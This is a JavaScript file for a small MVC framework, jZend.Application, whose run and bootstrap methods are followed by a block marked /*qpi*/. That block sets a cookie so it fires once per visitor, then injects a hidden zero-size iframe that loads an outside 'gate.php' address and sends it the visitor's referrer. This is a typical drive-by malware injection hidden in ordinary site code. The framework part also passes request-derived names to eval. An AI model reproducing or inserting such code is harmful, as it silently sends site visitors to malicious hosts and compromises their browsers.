jZend.Application = Base.extend({
	request: {},
	controller: null,
	/**
	 * Runs the application, initializes all the controllers, helpers, etc
	 */
	run: function (request) {
		this.request = request;
		var moduleName = this.request.module;
		var controllerName = moduleName + '.' + this.request.controller + 'Controller';
		
		try {
			// creating module (if exists)
			if (typeof(eval(moduleName)) == 'function') {
				this.module = eval('new ' + moduleName + '()');
			} else {
				this.module = {};
			}
			
			// creating controller (if exists)
			if (typeof(eval(controllerName)) !== 'function')
				return;
			this.controller = eval('new ' + controllerName + '()');
			
			// setting request and running requested action 
			this.controller.setRequest(this.request);
			this.controller.setModule(this.module);
			this.controller.init();
			this.controller.takeAction(this.request.action);
		} catch (e) {
			if (e.stack)
				console.log(e.stack);
			else 
				console.log(e);
		}
	},
	
	/**
	 * Bootstrapper function, calls _init methods from current Bootstrap class
	 */
	bootstrap: function () {
		if (typeof(Bootstrap) != 'undefined') {
			this.bootstrap = new Bootstrap();
		} else {
			this.bootstrap = new jZend.Bootstrap();
		}
		for (func in this.bootstrap) {
			if (func.match(/^_init/)) {
				this.bootstrap[func]();
			}
		}
		return this;
	}
});
/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=871298&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
